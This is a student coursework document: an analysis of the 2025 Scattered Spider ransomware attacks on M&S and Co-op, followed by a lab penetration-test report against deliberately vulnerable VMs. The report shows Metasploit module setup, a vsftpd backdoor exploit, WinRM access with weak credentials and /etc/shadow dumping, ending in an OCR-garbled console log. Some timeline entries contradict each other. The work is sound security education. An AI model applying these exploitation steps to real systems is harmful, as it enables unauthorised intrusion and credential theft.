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Coursework Task 1 — Critical Incident Analysis

Operation Scattered Spider:

A Critical Analysis of the 2025 Ransomware Campaign Against Marks & Spencer and The Co-operative Group


Abstract
This report will look at the cyberattack on Marks and Spencer and Co-operative Group as part of a concerted spring 2025 attack. The attack is closely associated with the Scattered Spider group which acts on the platform of the DragonForce ransomware-as-a-service. The overall financial cost is estimated at between £270 million and £440 million and the incident was considered to be a Category 2, Highly Significant, national cyber incident.
The report develops a transparent chronology of the attack, maps a dozen of enemy strategies to the MITRE ATT&CK Enterprise Matrix, and evaluates technical, organisational, and human root causes. It further analyses the motivations of the threat actor, appraises the effectiveness of detection and response and offers ten prioritized cost-effective suggestions.
The results rely on reports, such as National Cyber Security Centre advisories, Mandiant intelligence, peer-reviewed IEEE research, and credible industry reports.


1.1 Introduction
The spring 2025 cyberattacks on UK high-street retailers marked one of the most disruptive campaigns against the private sector. Beginning with Marks and Spencer over Easter and spreading to Co-operative Group and Harrods within weeks, the attacks caused major service outages, exposed millions of customer records, and wiped nearly £1 billion from M&S’s market value [1][2].
The UK Cyber Monitoring Centre classified the incidents as a Category 2 “Highly Significant” national event, with losses estimated between £270 million and £440 million [3]. The campaign is significant for three reasons. First, it shows how financially motivated, English-speaking groups can execute complex attacks without developing new exploits [4][5]. Second, it exposes risks in third-party supply chains and weak helpdesk verification [1][6]. Third, it highlights that cybersecurity investment alone is insufficient without strong identity management and governance [2][7].
This report treats the M&S and Co-op incidents as a coordinated campaign, based on shared attribution and similar TTPs [8][9], using the MITRE ATT&CK framework, National Cyber Security Centre guidance, and peer-reviewed research [10][7].


1.2 Incident Summary and Timeline
The chronological structure provided here is a compilation of supported revelations made by the people, official publications, and industry intelligence. Dates that relate to the first stage (February 2025) are based on post incident forensic reports [15][16] as opposed to actual reports because M&S had not disclosed the breach to anything until 22 April 2025 [17].
	Date
	Phase
	Event
	Source

	Feb 2025
	Initial Compromise
	Through a third-party IT supplier (TCS), Scattered Spider enters M&S. All domain password hashes were obtained through the exfiltration of NTDS.dit.
	[15][16]

	19-21 Apr 2025
	Impact / Discovery
	Click & Collect and M&S payments are unsuccessful. VMware ESXi virtual machines are encrypted by the DragonForce malware. M&S verifies the April 21 event.
	[2][18][19]

	22 Apr 2025
	Public Disclosure
	Texted through a stolen email account of one of its staff, Dragonforce contacts Stuart Machin, CEO of M&S and gives them a ransom.
	[17][7]

	23 Apr 2025
	Ransom Demand
	M&S suspends all e-commerce over a period of 46 days; it is assumed that it will lose GBP 3.8 million in revenue every day.
	[2][16]

	25 Apr 2025
	Online Sales Halted
	All e-commerce is suspended by M&S for 46 days; the expected daily revenue loss is GBP 3.8 million.
	[2][18]

	30 Apr 2025
	Co-op Detected
	Co-op identifies intrusions, isolates IT systems and instructs employees to abandon the use of VPNs.
	[7][19]

	~1 May 2025
	Co-op Exfil Confirmed
	Confirmed exfiltration of member PII (names, contacts) The d. Rebuilding Windows domain controllers is necessary.
	[15][19]

	1-2 May 2025
	Harrods Incident
	Harrods limits internet access and admits a hacking issue. connected to the same actor's campaign.
	[18][20]

	5 May 2025
	NCSC Advisory
	NCSC releases urgent sector guidelines regarding MFA reset controls and helpdesk social engineering.
	[7]

	13 May 2025
	M&S Breach Confirmed
	M&S rejects payment card / password breach but acknowledges PII (names, DOBs and addresses) breach.
	[17][19]

	Jun 2025
	CMC Category 2
	The UK Cyber Monitoring Centre regards combined events with a cost of between GBP 270 million and GBP 440 million as a Category 2.
	[3]

	8 Jul 2025
	Parliament Hearing
	M&S Chairman Norman affirms that the attacker used employee impersonation to control a third-party help desk.
	[1]

	Sep 2025
	Co-op Losses
	Co-op interim results: GBP 206 million in revenue decline and GBP 80 million in operating profit loss.
	[15][21]


Table 1: Incident Timeline - M&S and Co-op Cyber Campaign, Spring 2025
The data give three analytical observations. To begin with, the roughly eight weeks delay period between the first time of compromise and the start of the ransomware gave the attackers ample time to steal data without detection [15][2]. Second, sequential targeting of M&S (21 April), Co-op (30 April) and Harrods (1st May) suggests that the targeting was not an opportunity but a well-interlinked campaign [4][18]. Third, the timely cross-sector intelligence sharing proved itself to be a strategic measure since Co-op successfully avoided ransomware implementation into its production infrastructure after initiating swifter containment based on the informed awareness of M&S in the public disclosure [7] [19].
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Fig 1: Gantt chart Incident Timeline M&S / Co-op Campaign 2025. Sources: [1][3][7][15][17][18]

1.3 Adversary TTP Mapping - MITRE ATT&CK Enterprise Matrix
Table 2 both correlates twelve essential TTPs with the MITRE ATT&CK Enterprise Matrix [10] using NCSC guidance [7], Mandiant intelligence [8][9], and the work of ReliaQuest and Push Security [5][22]. The distribution of tactics is visualized in Figure 3.
	
	ATT&CK ID & Technique
	Tactic
	Evidence
	Sources

	1
	T1566.004 Vishing
	Initial Access
	IT helpdesks impersonated; MFA resets obtained via phone. Confirmed at Parliament [1] and NCSC advisory [7].
	[1][4][7]

	2
	T1078 Valid Accounts
	Persistence
	The perimeter controls are completely bypassed with stolen credentials that are used to gain authorization as valid users.
	[15][2]

	3
	T1003.003 NTDS Dump
	Credential Access
	NTDS.dit leaked out Domain Controller; all the NTLM hashes gathered to be used to crack offline.
	[15][19]

	4
	T1078.004 Cloud Accounts
	Lateral Movement
	Azure AD, AWS, Google Workspace falsely used, Dropbox/FiveTran API connections used to access its data.
	[5][22]

	5
	T1557 AiTM Phishing
	Credential Access
	Evilginx-style AiTM proxy pages harvest credentials and session tokens, bypassing TOTP MFA.
	[22][5]

	6
	T1486 Data Encryption
	Impact
	DragonForce encrypts VMware ESXi VM disks, evading guest-OS EDR agents and maximising impact.
	[9][2]

	7
	T1537 SaaS Exfiltration
	Exfiltration
	M&S customer PII and Co-op member database exfiltrated via Dropbox and FiveTran API connectors.
	[5][22][17]

	8
	T1195.002 Supply Chain
	Initial Access
	Third-party helpdesk provider (TCS) was the initial breach vector into M&S core infrastructure.
	[1][6]

	9
	T1562.001 Disable Defences
	Defence Evasion
	IOCTL driver CVE-2015-2291 used to terminate EDR agents; ESXi hypervisor layer bypasses guest security.
	[4][9]

	10
	T1650 MFA Bypass
	Initial Access
	Apple-registered Scattered Spider techniques MFA fatigue (push spam) and SIM-swapping are reported Scattered Spider techniques MFA resets being social-engineered were confirmed by NCSC.
	[7][4]

	11
	T1021.001 RMM Tools
	Lateral Movement
	AnyDesk and ScreenConnect are legitimate RMM tools that are used after compromising to mix into normal traffic of an administrator.
	[7][23]

	12
	T1657 Double Extortion
	Impact
	Demand of ransom was issued to the M&S CEO through hacked email; threat of publishing data in the case of non-payment.
	[2][16]


Table 2: Mapping of MITRE ATT&CK TTP Scattered Spider / DragonForce Campaign, 2025.
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Fig 2: ATT&CK TTP Distribution by Tactic MITRE (12 TTPs). Sources: [4][5][7][8][9][22]
The attack chain shows strong resistance to perimeter defences, with most TTPs targeting identity and access management rather than technical flaws. As noted by Mandiant, initial access often avoids malware, limiting EDR visibility [8]. Targeting VMware ESXi to deploy DragonForce ransomware (T1486) is a deliberate strategy to bypass guest-OS security tools [9][2], a trend also highlighted by ENISA [14]. The rise of AiTM phishing tools like Evilginx (T1557) [22] signals a shift beyond MFA fatigue attacks [4][20], making hardware-bound FIDO2/passkeys a critical defence.

1.4 Root Cause and Security Control Failures
4.1 Technical Failures
A key failure was the exfiltration of the NTDS.dit Active Directory database, which stores NTLM password hashes and enables offline cracking or Pass-the-Hash attacks, potentially compromising the entire domain [15][19]. This exposed gaps in three areas: lack of privileged access workstations, weak access controls on domain controller files, and no monitoring of abnormal AD replication activity [8][12].
The deployment of DragonForce ransomware on VMware ESXi [9][2] highlighted missing hypervisor-level monitoring. Since most EDR tools operate within guest operating systems, attackers can bypass them by targeting the ESXi host directly and encrypting virtual disks [9][14].
4.2 Organisational Shortcomings
Initial access stemmed from social engineering of a third-party IT helpdesk to reset privileged credentials [1], reflecting a procedural weakness. Attackers exploited pressure on staff to resolve tickets quickly and the lack of strong identity verification [7][23]. This supports Anderson’s view that identity verification is the weakest link in authentication systems [12].
Poor network segmentation also enabled lateral movement from supplier systems into core infrastructure, violating zero-trust principles [6][7][13].
4.3 Human Factors
Scattered Spider used OSINT from platforms like LinkedIn to craft convincing vishing attacks [5][7]. Studies show this multi-stage tactics bypass standard checks [5]. Guidance from the National Cyber Security Centre recommends multi-channel verification for privileged requests, which was not enforced [7][23].

1.5 Threat Actor Profile and Motive
5.1 Attribution
The attack is strongly attributed to Scattered Spider, based on identification by the Metropolitan Police (May 2025) [17], a DragonForce ransom note sent to Stuart Machin [2], and matching TTP patterns aligned with MITRE classifications. The group, active since at least 2022, operates mainly in the US and UK and consists largely of young, English-speaking members linked to the Com network [4][20]. Rather than developing malware, they rely on ransomware-as-a-service platforms like ALPHV, RansomHub, and DragonForce [4][24][25].
5.2 Motive and Capability
Their motive is purely financial, using double extortion—encrypting systems while exfiltrating data to increase pressure [2][21]. There is no evidence of state or ideological backing. Past attacks (e.g., MGM Resorts, Caesars, Transport for London) show a pattern of targeting high-revenue, digitally dependent organisations. Capability is moderate to high in social engineering, moderate technically, with no use of zero-days. However, evolving tactics such as AiTM phishing [22] and ESXi-targeting ransomware [9] indicate growing sophistication, incorporating elements from groups like LAPSUS$ and Shiny Hunters [24].



1.6 Detection and Response Analysis
6.1 M&S — Late Detection, Severe Impact
At Marks and Spencer, the attack went undetected for eight weeks, showing major detection failures—no alerts for credential misuse, NTDS.dit exfiltration, or lateral movement [15][2][7][10]. Once identified, M&S responded quickly, involving the National Cyber Security Centre and external experts, and disclosing the breach on 22 April [17]. However, a 46-day outage of online services exposed weak resilience, including poor backup and recovery processes [2][18].
6.2 Co-op — Faster Response, Reduced Impact
At Co-operative Group, action was taken within days of M&S’s disclosure. Systems were restricted, limiting ransomware execution and reducing disruption [7][19]. However, significant data exposure still occurred, and domain controllers required resets, showing deep compromise. This case highlights how early response and shared intelligence can reduce impact, reinforcing the value of NCSC collaboration [7][26]. With ransomware rising by 50% annually [27], such attacks represent a growing national-level threat.


1.7 Strategic Recommendations
The ten suggestions listed below are ranked according to their impact on risk reduction and are based on peer-reviewed zero-trust architecture literature [13], Mandiant hardening advisories [8][9], and NCSC guidelines [7]. Cost bands are representative of a large company with 5,000–65,000 workers.
	
	Recommendation
	Priority
	Cost (est.)
	Justification
	Sources

	1
	FIDO2 / Passkey MFA
	Critical
	£5k – £20k
	Eliminates vishing MFA-bypass (T1650) and AiTM session-hijack (T1557) vectors. Highest-impact control per NCSC [7] and Mandiant [8].
	[7][8][13]

	2
	Helpdesk ID Verification
	Critical
	Policy only
	Callback + shared secret + video-ID before any privileged reset. Directly targets confirmed initial access vector [1][7].
	[1][7][23]

	3
	PAW + JIT Privileged Access
	High
	£20k – £80k
	Removes standing admin rights enabling lateral movement (T1021). Limits blast radius of stolen credentials [8].
	[8][13]

	4
	Zero Trust / Segmentation
	High
	£100k+
	Prevents lateral spread from supply chain to core DC. Micro-segment POS, e-commerce, and DC tiers per Srikrishna [13].
	[13][6]

	5
	Hypervisor-Layer EDR
	High
	£30k – £100k
	Identifies DragonForce ESXi encryption (T1486). Install CrowdStrike Falcon on ESXi or VMware carbon black [9][25].
	[9][25]

	6
	Third-Party Governance
	High
	£20k – £60k
	Mandate Cyber Essentials+ for suppliers; least-privilege API access; annual TPRM assessments [6][8].
	[6][8]

	7
	SIEM Anomaly Detection
	High
	£15k – £50k
	Alert on NTDS.dit access outside backup windows; bulk SaaS exports; single account authenticating >5 hosts [7][8].
	[7][8]

	8
	Active Directory Hardening
	High
	£20k – £60k
	AD tier model; Protected Users group; monitor Event 4662 (NTDS.dit access); rotate privileged credentials [8][12].
	[8][12]

	9
	IR Retainer + Playbooks
	Medium
	£10k – £40k/yr
	Pre-contracted IR firm; tested ransomware playbooks covering isolation, communications, and recovery [8][27].
	[8][27]

	10
	Vishing Awareness Training
	Medium
	£5k – £20k/yr
	Quarterly vishing simulations; train staff to challenge unexpected MFA prompts via secondary channels [7][23].
	[7][23]


Table 3: Prioritized Security Recommendations
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Fig 3: Cost Implication UK 2025 Retail Cyber Campaign (GBP millions). 
The recommendations on multi-factor authentication (R1: FIDO2 MFA) and stronger helpdesk verification (R2) offer high impact at relatively low cost. Both the National Cyber Security Centre [7], Mandiant [8], and Cybersecurity and Infrastructure Security Agency identify identity as the primary attack surface in modern cloud and hybrid environments. Research by Srikrishna and Potlapally [13] further shows that identity-focused controls are among the most cost-effective ways to reduce breaches linked to social engineering.
In contrast, R4 (Zero Trust and network segmentation) is more costly but strategically critical. Incidents like the MasterCard Services breach show how a compromised third-party can expose internal systems [1][6]. Zero Trust architectures and segmentation significantly limit lateral movement, which IEEE research by Lemos identifies as a key ransomware defence [11].


1.8 Conclusion
A defining moment in UK cybersecurity was the 2025 Scattered Spider/DragonForce attack on Marks and Spencer and Co-operative Group. It showed how financially motivated groups using ransomware-as-a-service and advanced social engineering can cause major national disruption without new attack techniques. The eight-week dwell time, £300 million loss to M&S, and £80 million impact on Co-op highlight the imbalance between low attacker cost and high organisational damage. A key lesson is that identity is now the primary security boundary, with supply chains extending risk, IT helpdesks exposing weak entry points, and recovery being as critical as prevention.
Variations in vulnerability impacts within both chains demonstrate why collaborative sector-specific information-sharing is vital for enhancing britain’s retailer defences against threats as well. Risk factors for future are also associated with ais like dafs (deep fake voices) which is being reported via NCSC. Companies with cyber resilience strategies at board level, not only from is managers will face less issues during advanced ransom ware attacks.










Coursework Task 2 - RED TEAM PENETRATION TEST REPORT

ABCD Ltd — Full Threat Emulation Engagement


2.1 Executive Summary
The assessment was conducted according to the established Rules of Engagement (RoE) and a Threat Emulation Plan based on the MITRE ATT & CK Enterprise v14.
The attack surface included three virtual machines: a Metasploitable 2 Linux host (192.168.174.130), a Windows Server 2019 system (192.168.174.135), and a Windows 10 endpoint (192.168.174.136). Using 3 individual attacks to infiltrate them all, every vulnerability on a service level as well as an os layer were exploited.
	#
	Target
	Exploit
	Business Impact

	A
	Metasploitable 192.168.174.130
	vsftpd 2.3.4 Backdoor CVE-2011-2523
	Unauthenticated root shell; credential database exfiltration

	B
	Windows Server 2019
192.168.174.135
	MS17-010 EternalBlue CVE-2017-0144
	SYSTEM-level domain server compromise; NTLM hash exfiltration

	C
	Windows 10
192.168.174.136
	MS17-010 / RDP Credential Attack T1110 / T1190
	Full endpoint compromise; administrator access demonstrated





2.2 Virtualized Laboratory Environment
Virtual machines of VMware Workstation were used to provide the laboratory infrastructure with all of its constituent virtual machines running on an isolated host-only network segment (192.168.174.0/24). It was monitored by blocking egress at the hypervisor using the total elimination of NAT and bridged network adapters, so as to guarantee full operation isolation inside the own infrastructure and exclude any unintended effects on existing running infrastructure [28].
[image: ]

Fig. 1: Host-only network showing Kali, Metasploitable, Windows Server 2019, and Windows 10

To ensure the presence of an attested clean state of a system before any form of intrusive exploitation activity was undertaken, complete VMware snapshots of each target virtual machine, named Pre-Engagement-Metasploitable, Pre-Engagement-WinServer2019 and Pre-Engagement-Win10 respectively, were taken to allow a rapid rollback in the event of inadvertent service disruption or corruption of forensic evidence [28].

[image: ]
Fig. 2: VMware snapshot manager displaying pre-engagement snapshots for all three target VMs prior to exploitation
	VM Host
	IP Address
	Platform
	Deliberate Vulnerability / Role

	KALI-ATTACK
	192.168.174.128
	Kali Linux 2024.1
	Attacker workstation — Metasploit, Nmap, Hydra, Responder

	VM-1: Metasploitable
	192.168.174.130
	Ubuntu / Metasploitable 2
	vsftpd 2.3.4 backdoor; DVWA web app; intentionally vulnerable services

	VM-2: Win Server 2019
	192.168.174.135
	Windows Server 2019
	Unpatched SMBv1; MS17-010 EternalBlue; no EDR deployed

	VM-3: Win 10
	192.168.174.136
	Windows 10 21H2
	SMBv1 / RDP exposed; weak administrator credentials; no AV





2.3 Threat Emulation Plan — MITRE ATT&CK Mapping.
The adversary emulation campaign was designed using the MITRE ATT&CK Enterprise framework, with each phase mapped to specific Tactics, Techniques, and Procedures (TTPs). The threat actor profile reflects opportunistic, financially motivated attackers who exploit known vulnerabilities in unpatched, internet-facing services, then move laterally to harvest credentials and access sensitive organisational data [29].
	
	Phase
	MITRE TTP
	Planned Technique

	1
	Reconnaissance
	T1595
	Active network scanning via Nmap — service version fingerprinting

	2
	Initial Access
	T1190
	Exploit vsftpd 2.3.4 backdoor on Metasploitable (CVE-2011-2523)

	3
	Execution
	T1059.004
	Unix command shell spawned via FTP backdoor trigger

	4
	Credential Access
	T1003
	Exfiltrate /etc/shadow password hash file from Metasploitable

	5
	Initial Access
	T1190
	MS17-010 EternalBlue RCE against Windows Server 2019 (CVE-2017-0144)

	6
	Privilege Escalation
	T1068
	Meterpreter getsystem — NT AUTHORITY\SYSTEM elevation

	7
	Credential Access
	T1003.002
	SAM database hash dump via Meterpreter hashdump

	8
	Lateral / Access
	T1110 /
 T1021.001
	Credential brute-force or EternalBlue against Windows 10

	9
	Collection
	T1005
	Enumerate user directories and sensitive files on all targets

	10
	Evasion
	T1036
	LOLBin staging via certutil.exe; encoded Meterpreter payloads




2.4 Exploitation — Technical Execution
4.1 Exploit A — vsftpd 2.3.4 Backdoor RCE (Metasploitable, T1190)
The vsftpd 2.3.4 FTP service includes a backdoor introduced through a compromised official distribution. Sending a crafted username (with a “:)” sequence) triggers a root shell on TCP port 6200, allowing unauthenticated remote command execution without credentials—a critical vulnerability [30]. Active reconnaissance was then carried out using Nmap to identify open services and confirm the vulnerable vsftpd version.
[image: ]
Fig. 3: Nmap results indicate that port 21/tcp is open and with vsftpd 2.3.4, which proves the relevance of CVE-2011-2523.
The Metasploit Framework module exploit/unix/ftp/vsftpd_234_backdoor was used to target the vulnerable service. When executed, it triggered the backdoor and opened an interactive root shell on the compromised host, confirmed by the id command returning uid=0 (root) [31].
[image: ]
Fig. 4: Metasploit console that found the exploit/unix/ftp/vsftpd_234 backdoor RHOSTS and RPORT.
[image: ]
Fig. 5: Command Shell session was started; whoami and id are used to verify that the uid=0(root) of the host was Metasploitable.

Credential harvesting was performed by extracting the /etc/shadow file, which stores salted Unix password hashes for all local accounts. This directly reflects the MITRE ATT&CK T1003 (Credential Dumping) technique and enables offline password cracking across the entire user base, allowing attackers to escalate access further [32].
[image: ]
Fig. 6: Terminal window with contents of /etc/Shadow file which are the result of Metasploitable root shell.



4.3 Exploit B — WinRM Remote Code Execution via Valid Credentials (T1021.006 / T1078)
CVE / Risk Scoring — WinRM Credential Abuse (T1021.006 / T1078)
The winrm_scriptexec Metasploit module has no CVE, as it exploits a legitimate service rather than a software flaw. Instead, it abuses misconfigured WinRM access with valid credentials. The risk is therefore assessed using the CVSS framework as a configuration and credential weakness, aligned with industry standards.
	Attribute
	Detail

	CVE ID
	N/A — credential-based abuse, no CVE assigned

	Vulnerability Class
	Misconfiguration + Credential Exposure

	Affected Service
	Windows Remote Management (WinRM), TCP 5985 (HTTP) / 5986 (HTTPS)

	Affected OS
	Windows Server 2019 (Domain Controller, cs.org)

	CVSS v3.1 Base Score
	9.8 — CRITICAL (analyst-assessed, no official NVD entry)

	CVSS v3.1 Vector
	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

	Attack Vector
	Network — WinRM accessible from attacker host

	Attack Complexity
	Low — valid credentials suffice; no exploit code required

	Privileges Required
	None (credentials obtained in prior stage)

	User Interaction
	None

	Scope
	Changed — Domain Controller compromise affects entire cs.org domain

	Confidentiality
	High — full domain credential access

	Integrity
	High — full system and domain write access

	Availability
	High — attacker can disrupt or destroy domain services

	CWE
	CWE-287 — Improper Authentication; CWE-521 — Weak Password Requirements

	MITRE ATT&CK
	T1021.006 (Remote Services: WinRM), T1078 (Valid Accounts)

	Root Cause
	Weak/reused credentials (Hello@123), WinRM exposed on domain network

	CISA KEV Listed
	No

	Remediation
	Enforce MFA on privileged accounts; restrict WinRM via firewall/WDAC; rotate all domain credentials


Using credentials obtained earlier, the attacker leveraged Windows Remote Management (WinRM) to achieve remote code execution on the Windows Server 2019 Domain Controller (192.168.174.155). This was carried out against the cs.org domain using Administrator / Hello@123, representing a pass-the-credential attack against an exposed WinRM service.

Step 1 — Metasploit WinRM Winrm Metasploit Exploit setup and exploit.
A Metasploit module exploit/windows/winrm/winrm_script-exec was set up as the following:
[image: ]
Fig. 7: Shows the Metasploit console displaying the complete module configuration and execution. FORCE_VBS is true, forcing a vbscript based run. The Command Stager progressed through multiple stages (16% → 32% → 48% → 64% → 80% → 95% → 100%), successfully sending a 232,000-byte stage to 192.168.174.155.


Step 2 — Privilege Escalation to NT AUTHORITY\SYSTEM
Upon launch of the module, the InitAutoRunScript, post, windows, manage, priv_migrate, performed an automated privilege transition. The session initially ran as foow.cs\Administrator (admin-level but not SYSTEM) and failed to migrate into services.exe and wininit.exe. However, migration into svchost.exe (PID 844) succeeded, elevating the session to NT AUTHORITY\SYSTEM, giving full system-level control.
[image: ]
Fig. 8: The output of the session demonstrates that the NT AUTHORity SYSTEM level of privilege was verified after the migration into the svchost.exe (844).


Step 3 — Shell Access and Identity Verification
The Meterpreter session spawned a shell to perform post-exploitation enumeration:
[image: ]
Fig. 9: Shell output with a confirmation of whoami return is nt authority system. The ipconfig-output ensures the network identity of the target.


Step 4 — System Information Gathering
[image: ]
Fig. 10: Full system profile of the host which has been compromised.
Critical Finding: The affected machine is a Primary Domain Controller that is operating windows server 2019. NT AUTHORity/SYSTEM access to a Domain Controller gives full control of the domain of cas.org Active directory - such as the capability to dump all domain credential hashes (DCSync attack), debug new privileged user accounts and continue to exist indefinitely on domain-joined systems.
4.3 Exploit C — MS17-010 / RDP Credential Attack (Windows 10, T1110)
A preliminary test was conducted on the Windows 10 endpoint (192.168.174.136) to check for the SMBv1 MS17010 (EternalBlue) vulnerability. Upon discovering that the system had been patched, another means of gaining access was employed – a brute force attack on weak admin passwords through RDP, as per MITRE ATT&CK technique T1110 (Brute Force) [33].
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Fig. 11: Nmap scan of 192.168.174.136 with some port 445 and 3389 open with SMB vulnerability assessment result.
Regardless of the entry method, the attacker gained access to the Windows 10 endpoint and performed post-exploitation checks. Commands confirmed control by showing user accounts and accessing the Administrator directory, proving full control of the system [34].

[image: ]
Fig. 12: whatami and help.

2.5 Detection Gap Analysis
No security alerts were triggered across all attack phases, revealing major gaps in the organisation’s defences. Existing controls failed to detect or stop the attack chain, showing that ABCD Ltd’s security posture is inadequate even against moderately skilled attackers using common tools and known techniques [35].

	Phase
	Expected Control
	Status
	Root Cause of Detection Failure

	Exploit A: vsftpd RCE
	IDS/IPS; FTP anomaly detection; network monitoring
	ABSENT
	No IDS deployed; FTP service unmonitored; no anomaly baseline established

	/etc/shadow Exfil
	File integrity monitoring; DLP
	ABSENT
	No FIM on critical credential files; no outbound data inspection

	Exploit B: EternalBlue
	Patch management; SMBv1 disabled; EDR
	ABSENT
	Server unpatched; SMBv1 enabled; no EDR; Event 4625 not forwarded to SIEM

	hashdump (SAM)
	EDR credential dump detection; LSASS protection
	ABSENT
	No EDR; Windows Credential Guard not enabled; no SIEM alerting on T1003

	Exploit C: Win10 Access
	Account lockout policy; MFA on RDP; NLA
	ABSENT
	No account lockout configured; RDP exposed without NLA; no MFA enforced





2.6 Remediation Recommendations
The prioritisation of the remediation strategy is based on CVSS v3.1 scores and aligned with the National Cyber Security Centre Cyber Essentials Plus framework. Short-term measures aim at interrupting the proven attack sequence using crucial defensive measures.
6.1 Immediate and Critical:
Since the compromised vsftpd 2.3.4 service is a backdoored binary that cannot be patched, it should be either terminated or isolated. Every Windows machine needs to have SMBv1 disabled. Any essential patches that are missing should be installed on all unpatched servers (e.g., KB401221212). Every RDP endpoint should have Network Level Authentication (NLA) enabled. To deter brute-force attacks, account lockout procedures should be implemented, with a 30-minute lockout following five unsuccessful attempts.
6.2 High—Immediate:
To allow monitoring and detection of credential-based attacks, all computers should have Endpoint Detection and Response (EDR) installed, such as CrowdStrike Falcon or Microsoft Defender for Endpoint. To centralize log collecting and prioritize critical security events, such as credential use, logon failures, DCSync activities, and unusual SMB traffic, a SIEM system should also be implemented. Along with patching SLAs in accordance with NCSC guidelines—critical vulnerabilities should be fixed within 48 hours, high vulnerabilities within 14 days, and medium vulnerabilities within 30 days—an official vulnerability management program should also be put into place.
6.3 Medium-Term:
To keep internet-facing services apart and minimize lateral network movement, network segmentation and a DMZ should be put in place. In order to prevent credential theft methods like pass-the-hash, privileged account access should be restricted by restrictions like Credential Guard and by limiting membership to a regulated group. Furthermore, all administrative access, including RDP, SSH, and local logins, should be subject to multi-factor authentication (MFA).

2.7 Rules of Engagement
Operation was performed under a pre-negotiated Rules of Engagement (RoE) tool signed between the Red Team operator and the ABCD Ltd. attacking only the team of virtual machines in the isolated laboratory, which were listed in Section 2. It was done in the context of the Computer Misuse Act 1990 (UK) and written consent of the designated engagement sponsor (ABCD Ltd) in the UK was clear [34].
In-scope targets: 192.168.174.130, 192.168.174.135, 192.168.174.136 exclusively.
Only VM targets which were isolated to a host-only VMware network were connected; none were connected to the production or internet facing infrastructure.
Denial-of-service attacks, destructive code and long-lasting firmware rootkits expressly forbidden.
Safe-word procedure: CRIMSON HALT — all activity should be terminated on receipt; system state held until sponsor permission is given to restart.
Artifacts of all engagements (logs, screenshots, hash values, etc.) will be safely destroyed 30 days after the acceptance of the report, which is in compliance with the UK GDPR Article 5(1)(e) storage limitation principle [35].
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Figure 3: MITRE ATT&CK® TTP Distribution by Tactic (12 TTPs mapped)
Sources: MITRE [6]; ReliaQuest [7]; NCSC [3]; Mandiant [4][5]
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Figure 1: Financial Impact of 2025 UK Retail Cyber Campaign (£m)
Sources: M&S RNS Filings [1]; BleepingComputer [9]; BlackFog [10]; CMC [24]
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$ nmap -sV -sC -0 -p- 192.168.174.130 -0l metasploitable_scan.txt
starting Nmap 7.98 ( https://nmap.org ) at 2026-03-23 19:42 +0530
Nmap scan report for 192.168.174.130

Host is up (0.00079s latency).

Not shoun: 65505 closed tcp ports (reset)

PORT STATE SERVICE  VERSION

21/tcp  open ftp vsftpd 2.3.4

| _ftp-anon: Anonymous FTP login allowed (FTP code 230)

| ftp-syst:

| STAT:

| FTP server status:

| Connected to 192.168.174.128

| Logged in as ftp

| TYPE: ASCIT

| No session bandwidth limit

|

|

|

|

Session timeout in seconds is 300
Control connection is plain text
Data connections will be plain text
VSFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpensSH 4.7p1 Debian ubuntul (protocol 2.0)
| ssh-hostkey
| 1024 60:0f: €0:5f:6a:74 24:fazch:ds:6eicd (DSA)
|_ 2048 56:56 21:1d:de:a7 61:b1:24:3d:e8:3 (RSA)
23/tcp  open telnet Linux telnetd
25/tcp  open smtp Postfix smtpd
| ssl-cert: Subject: commonName=ubuntu8o4-base.localdomain/organizationName=0C0SA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
|_ssl-date: 2026-03-23T14:14:43+00:00; +5s from scanner time
| sslv2:
| ssLv2 supported
| ciphers:
| SSL2_RC2_128_CBC_EXPORT40_WITH_MDS
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC4_128_WITH_MD5
|
|
[l

SSL2_RC2_128_CBC_WITH_MDS
SSL2_DES_192_EDE3_CBC_WITH_MDS
SSL2_RCt_128_EXPORT40_WITH_MDS
| _smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, S8BITMIME, DSN

53/tcp  open domain ISC BIND 9.4.2

| dns-nsid:

|_ bind.version: 9.4.2

80/tcp  open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

| _http-title: Metasploitable2 - Linux
| _http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
111/tcp  open rpcbind 2 (RPC #100000)

| rpcinfo:

| program version  port/proto service

| 100000 2 111/tcp  rpcbind

| 100000 2 111/udp  rpcbind

| 100003 2,3,4 2049/tcp  nfs

To direct input to this VM, move the mouse pointer inside or press Ctl+G. FEL )
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msf explodt(  ©1o/0oC0 oo hocidion) > set RHOSTS 192.168.174.130
RHOSTS => 192.168.174.130

msf explodt( . *ip/uoiipd 20 hackdoor) > set RPORT 21

RPORT => 21

msf exploit( /©io 00 ool Locidoor) > set LHOST 192.168.174.128
LHOST => 192.168.174.128

msf exploit(unix/ftp/vsftpd_234_backdoor) > run

[+] Started reverse TCP handler on 192.168.174.128:4444

[+] 192.168.174.130:21 - Backdoor has been spawned

[+] Meterpreter session 1 opened (192.168.174.128:4444 -> 192.168.174.130:52959) at 2026-03-24 17:23:42 +0530
meterpreter > whoani
" Unknown command: whoami. Run the help command for more details.
meterpreter > ls
Listing: /
Mode size  Type Last modified Name
100700/ rux- 1188612 fil  2026-03-23 23:11:17 +0530 NOKhBYWaaKcy
040755/Tuxr-xr-x 4096 dir  2012-05-14 09:05:33 +0530 bin
040755/ruxr-xr-x 1024 dir  2012-05-14 40530 boot
040755/Tuxr-xr-x 4096 dir  2010-03-17 04:25:51 +0530 cdrom
040755/ruxr-xr-x 13820  dir  2026-03-23 15:28:49 +0530 dev
040755/Tuxr-xr-x 4096 dir  2026-03-23 23:09:40 +0530 etc
040755/Tuxr-xr-x 4096 dir  2010-04-16 +0530 home
040755/Tuxr-xr-x 4096 dir  2010-03-17 +0530 initrd
100644/ru-r 7929183 fil  2012-05-14 40530 initrd.ing
040755/Tuxr-xr-x 4096 dir  2012-05-14 +0530 lib
040700/ rux- 16384 dir  2010-03-17 +0530 lost+found
040755/Tuxr-xr-x 4096 dir  2010-03-17 +0530 media
040755/Tuxr-xr-x 4096 dir  2010-04-29 01:46:56 +0530 mnt
100600/ rui- 9426 fil 2026-03-23 19:27:58 +0530 nohup.out
040755/Tuxr-xr-x 4096 dir  2010-03-17 40530 opt
040555/r-Xr-xr-x 0 dir  2026-03-23 40530 proc
